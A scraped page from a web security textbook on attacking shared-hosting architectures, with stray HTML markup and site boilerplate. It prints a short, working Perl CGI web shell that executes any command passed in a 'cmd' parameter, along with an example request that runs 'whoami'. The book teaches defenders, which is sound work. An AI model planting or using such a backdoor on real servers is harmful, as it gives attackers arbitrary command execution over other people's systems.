19.09.2017 Views

the-web-application-hackers-handbook

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

660 Chapter 17 n Attacking Application Architecture<br />

advantage. Where this kind of administrative <strong>application</strong> is deployed,<br />

any kind of vulnerability within this <strong>application</strong> may provide a vehicle<br />

to attack <strong>the</strong> shared <strong>application</strong> accessed by end users.<br />

Attacks Between Applications<br />

In a shared hosting environment, different customers typically have a legitimate<br />

need to upload and execute arbitrary scripts on <strong>the</strong> server. This immediately<br />

raises problems that do not exist in single-hosted <strong>application</strong>s.<br />

Deliberate Backdoors<br />

In <strong>the</strong> most obvious kind of attack, a malicious customer may upload content<br />

that attacks <strong>the</strong> server itself or o<strong>the</strong>r customers’ <strong>application</strong>s. For example, consider<br />

<strong>the</strong> following Perl script, which implements a remote command facility<br />

on <strong>the</strong> server:<br />

#!/usr/bin/perl<br />

use strict;<br />

use CGI qw(:standard escapeHTML);<br />

print header, start_html(“”);<br />

if (param()){my $command = param(“cmd”);<br />

$command=`$command`;<br />

print “$command\n”;}<br />

else {print start_form(); textfield(“command”);}<br />

print end_html;<br />

Accessing this script over <strong>the</strong> Internet enables <strong>the</strong> customer to execute arbitrary<br />

operating system commands on <strong>the</strong> server:<br />

GET /scripts/backdoor.pl?cmd=whoami HTTP/1.1<br />

Host: wahh-maliciousapp.com<br />

HTTP/1.1 200 OK<br />

Date: Sun, 03 Jul 2011 19:16:38 GMT<br />

Server: Apache/2.0.59<br />

Connection: close<br />

Content-Type: text/html; charset=ISO-8859-1<br />

<br />

<br />

<br />

Untitled Document<br />

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!